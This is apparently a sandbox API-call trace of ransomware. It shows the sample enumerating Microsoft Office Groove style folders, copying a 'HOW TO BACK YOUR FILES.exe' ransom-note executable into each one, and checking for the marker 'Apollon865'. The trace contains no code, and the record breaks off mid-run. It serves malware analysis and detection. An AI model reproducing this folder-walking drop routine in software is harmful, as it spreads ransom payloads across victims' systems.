	[0070.895] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0070.895] lstrcpyW (in: lpString1=0x2d3e626, lpString2="BUTTON.GIF" | out: lpString1="BUTTON.GIF") returned="BUTTON.GIF"
	[0070.896] lstrlenW (lpString="BUTTON.GIF") returned 10
	[0070.896] lstrlenW (lpString="Apollon865") returned 10
	[0070.896] lstrcpyW (in: lpString1=0x2d3e626, lpString2="TAB_OFF.GIF" | out: lpString1="TAB_OFF.GIF") returned="TAB_OFF.GIF"
	[0070.896] lstrlenW (lpString="TAB_OFF.GIF") returned 11
	[0070.896] lstrlenW (lpString="Apollon865") returned 10
	[0070.896] lstrcmpiW (lpString1="AB_OFF.GIF", lpString2="Apollon865") returned -1
	[0070.896] lstrcpyW (in: lpString1=0x2d3e626, lpString2="TAB_ON.GIF" | out: lpString1="TAB_ON.GIF") returned="TAB_ON.GIF"
	[0070.896] lstrlenW (lpString="TAB_ON.GIF") returned 10
	[0070.896] lstrlenW (lpString="Apollon865") returned 10
	[0070.896] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SoftBlue", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SoftBlue") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SoftBlue"
	[0070.896] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a57a0 | out: hHeap=0x580000) returned 1
	[0070.896] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ffc8 | out: hHeap=0x580000) returned 1
	[0070.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SoftBlue") returned 103
	[0070.896] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SoftBlue" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SoftBlue") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SoftBlue"
	[0070.896] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0070.896] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SoftBlue\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\softblue\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0070.901] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0070.902] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SoftBlue\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5aad71f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x42545bf0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x42545bf0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0070.902] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0070.902] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0070.902] lstrcpyW (in: lpString1=0x2d3e620, lpString2="background.gif" | out: lpString1="background.gif") returned="background.gif"
	[0070.902] lstrlenW (lpString="background.gif") returned 14
	[0070.902] lstrlenW (lpString="Apollon865") returned 10
	[0070.902] lstrcmpiW (lpString1="ground.gif", lpString2="Apollon865") returned 1
	[0070.902] lstrcpyW (in: lpString1=0x2d3e620, lpString2="TAB_OFF.GIF" | out: lpString1="TAB_OFF.GIF") returned="TAB_OFF.GIF"
	[0070.902] lstrlenW (lpString="TAB_OFF.GIF") returned 11
	[0070.902] lstrlenW (lpString="Apollon865") returned 10
	[0070.902] lstrcmpiW (lpString1="AB_OFF.GIF", lpString2="Apollon865") returned -1
	[0070.902] lstrcpyW (in: lpString1=0x2d3e620, lpString2="TAB_ON.GIF" | out: lpString1="TAB_ON.GIF") returned="TAB_ON.GIF"
	[0070.902] lstrlenW (lpString="TAB_ON.GIF") returned 10
	[0070.902] lstrlenW (lpString="Apollon865") returned 10
	[0070.902] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Slate", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Slate") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Slate"
	[0070.902] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a56c8 | out: hHeap=0x580000) returned 1
	[0070.902] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ffa8 | out: hHeap=0x580000) returned 1
	[0070.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Slate") returned 100
	[0070.903] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Slate" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Slate") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Slate"
	[0070.903] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0070.903] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Slate\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\slate\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0070.907] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0070.907] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Slate\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a9f29b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x4256bd50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x4256bd50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0070.907] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0070.907] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0070.907] lstrcpyW (in: lpString1=0x2d3e61a, lpString2="TAB_OFF.GIF" | out: lpString1="TAB_OFF.GIF") returned="TAB_OFF.GIF"
	[0070.907] lstrlenW (lpString="TAB_OFF.GIF") returned 11
	[0070.907] lstrlenW (lpString="Apollon865") returned 10
	[0070.907] lstrcmpiW (lpString1="AB_OFF.GIF", lpString2="Apollon865") returned -1
	[0070.907] lstrcpyW (in: lpString1=0x2d3e61a, lpString2="TAB_ON.GIF" | out: lpString1="TAB_ON.GIF") returned="TAB_ON.GIF"
	[0070.907] lstrlenW (lpString="TAB_ON.GIF") returned 10
	[0070.907] lstrlenW (lpString="Apollon865") returned 10
	[0070.907] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Oasis", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Oasis") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Oasis"
	[0070.907] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a55f0 | out: hHeap=0x580000) returned 1
	[0070.907] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ff88 | out: hHeap=0x580000) returned 1
	[0070.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Oasis") returned 100
	[0070.907] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Oasis" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Oasis") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Oasis"
	[0070.907] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0070.908] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Oasis\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\oasis\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0070.912] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0070.912] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Oasis\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5969b6f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x4256bd50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x4256bd50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0070.912] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0070.912] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0070.913] lstrcpyW (in: lpString1=0x2d3e61a, lpString2="HEADER.GIF" | out: lpString1="HEADER.GIF") returned="HEADER.GIF"
	[0070.913] lstrlenW (lpString="HEADER.GIF") returned 10
	[0070.913] lstrlenW (lpString="Apollon865") returned 10
	[0070.913] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Lime", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Lime") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Lime"
	[0070.913] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a420 | out: hHeap=0x580000) returned 1
	[0070.913] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ff68 | out: hHeap=0x580000) returned 1
	[0070.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Lime") returned 99
	[0070.913] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Lime" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Lime") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Lime"
	[0070.913] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0070.913] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Lime\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\lime\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0070.917] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0070.917] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Lime\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x568309f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x4256bd50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x4256bd50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0070.917] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0070.917] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0070.917] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\GrayCheck", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\GrayCheck") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\GrayCheck"
	[0070.917] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a0d38 | out: hHeap=0x580000) returned 1
	[0070.917] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ff48 | out: hHeap=0x580000) returned 1
	[0070.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\GrayCheck") returned 104
	[0070.918] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\GrayCheck" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\GrayCheck") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\GrayCheck"
	[0070.918] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0070.918] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\GrayCheck\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\graycheck\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0070.931] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0070.931] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\GrayCheck\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52c3bfd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x42591eb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x42591eb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0070.931] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0070.931] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0070.931] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Desert", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Desert") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Desert"
	[0070.931] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a5518 | out: hHeap=0x580000) returned 1
	[0070.932] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ff28 | out: hHeap=0x580000) returned 1
	[0070.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Desert") returned 101
	[0070.932] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Desert" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Desert") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Desert"
	[0070.932] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0070.932] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Desert\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\desert\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0070.937] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0070.937] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Desert\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51da7910, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x42591eb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x42591eb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0070.937] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0070.937] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0070.937] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightYellow", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightYellow") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightYellow"
	[0070.937] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a0c58 | out: hHeap=0x580000) returned 1
	[0070.937] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ff08 | out: hHeap=0x580000) returned 1
	[0070.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightYellow") returned 107
	[0070.937] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightYellow" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightYellow") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightYellow"
	[0070.937] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0070.937] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightYellow\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\brightyellow\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0070.943] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0070.943] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightYellow\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a87c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x425b8010, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x425b8010, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0070.943] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0070.943] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0070.943] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightOrange", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightOrange") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightOrange"
	[0070.943] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a3800 | out: hHeap=0x580000) returned 1
	[0070.944] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fee8 | out: hHeap=0x580000) returned 1
	[0070.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightOrange") returned 107
	[0070.944] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightOrange" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightOrange") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightOrange"
	[0070.944] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0070.944] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightOrange\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\brightorange\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0070.949] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0070.949] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightOrange\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a87c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x425b8010, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x425b8010, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0070.950] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0070.950] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0070.950] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Biscay", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Biscay") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Biscay"
	[0070.950] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a5440 | out: hHeap=0x580000) returned 1
	[0070.950] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fec8 | out: hHeap=0x580000) returned 1
	[0070.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Biscay") returned 101
	[0070.950] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Biscay" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Biscay") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Biscay"
	[0070.950] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
